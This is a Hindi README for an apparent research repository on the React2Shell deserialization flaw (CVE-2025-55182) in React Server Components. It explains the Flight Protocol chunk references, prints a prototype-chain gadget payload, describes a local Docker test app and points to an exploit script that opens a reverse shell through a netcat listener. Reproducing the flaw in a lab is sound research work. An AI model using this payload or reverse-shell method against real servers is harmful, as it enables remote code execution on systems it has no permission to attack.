
CVE-2025-55182 पर मेरा शोध
यह भंडार CVE-2025-55182 पर मेरा शोध है, जिसे React2Shell भेद्यता के रूप में भी जाना जाता है। भंडार दो मुख्य भागों से बना है: स्टैंड और एक्सप्लॉइट।
इस सुरक्षा दोष के बारे में कुछ जानकारी:
यह भेद्यता मूलतः उपयोगकर्ता इनपुट सत्यापन की कमी है। लेकिन यह इतना सरल नहीं है =)
React Client भाग और React Server भाग डेटा के आदान-प्रदान के लिए React Flight Protocol का उपयोग करते हैं। इसके बारे में शीघ्र परिचित होने के लिए यहाँ एक अच्छी बातचीत है।
React Flight Protocol संदेश खंडों का उदाहरण:
{
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
RFP के खंड, $ ऑपरेटर का उपयोग करके एक दूसरे को संदर्भित कर सकते हैं। जब खंड बाद में सर्वर पर डिसेरियलाइज़ होते हैं, तो ये लिंक हल हो जाते हैं। यहाँ एक महत्वपूर्ण बात यह है कि हम इससे ऑब्जेक्ट प्रोटोटाइप तक पहुँच सकते हैं।
प्रोटोटाइप में हेरफेर करके, हम V8 को हमारे .then() की प्रतीक्षा करने के लिए बाध्य कर सकते हैं। परिणामी पेलोड इस प्रकार दिख सकता है:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
मैं इस बात के विवरण में अधिक गहराई से नहीं जाऊँगा कि वास्तव में यह गैजेट श्रृंखला कैसे काम करती है, यदि आप इसके बारे में अधिक जानना चाहते हैं, तो Moritz Sanft द्वारा लिखा गया एक शानदार विश्लेषण यहाँ पढ़ें।
आप github संस्करण तुलना भी देख सकते हैं, पैच से पहले और बाद में, यदि आप इस दोष में और गहराई से जाना चाहते हैं।
मैंने एक सरल react/next.js ऐप बनाया है, जो (देखें stand/package.json) का उपयोग करता है:
"dependencies": {
"next": "16.0.6",
"react": "19.2.0",
"react-dom": "19.2.0"
},
बस create-next-app से बनाया गया एक सरल पेज जिसमें टेक्स्ट सामग्री है:
शुरू करने के लिए, stand निर्देशिका में यह चलाएँ:
docker compose up --build -d
फिर अपने ब्राउज़र में http://localhost:3000 पर जाएँ।
शोषण सीधा है। हमें बस सर्वर पर विशेष रूप से निर्मित RFP खंडों को हमारे पेलोड के साथ Post अनुरोध में भेजना होगा। exploit/src/main.py देखें। इसमें यह भी शामिल है कि सर्वर संवेदनशील है या नहीं, यह जाँचने के लिए एक सरल जाँच; यह whoami कमांड चलाने का प्रयास करता है, यदि इसका टाइमआउट समाप्त हो जाता है, तो सर्वर संभवतः पैच किए गए संस्करण का उपयोग कर रहा है।
आप exploit/resource/chunk.json में RFP पेलोड देख सकते हैं।
एक्सप्लॉइट चलाने से पहले, netcat लिसनर सेट करना और रिवर्स शेल प्राप्त करने के लिए exploit/resource/config.toml को अपने होस्ट और पोर्ट के साथ अपडेट करना न भूलें।
हैप्पी पाउनिंग!
बड़ा सम्मान Lachlan Davidson को, जिन्होंने भेद्यता की खोज की, maple को, जिन्होंने एक अच्छा गैजेट पाया, और Moritz Sanft को भी, जिन्होंने अपना PoC साझा किया और एक शानदार विश्लेषण लिखा।
I3r1h0n द्वारा निर्मित।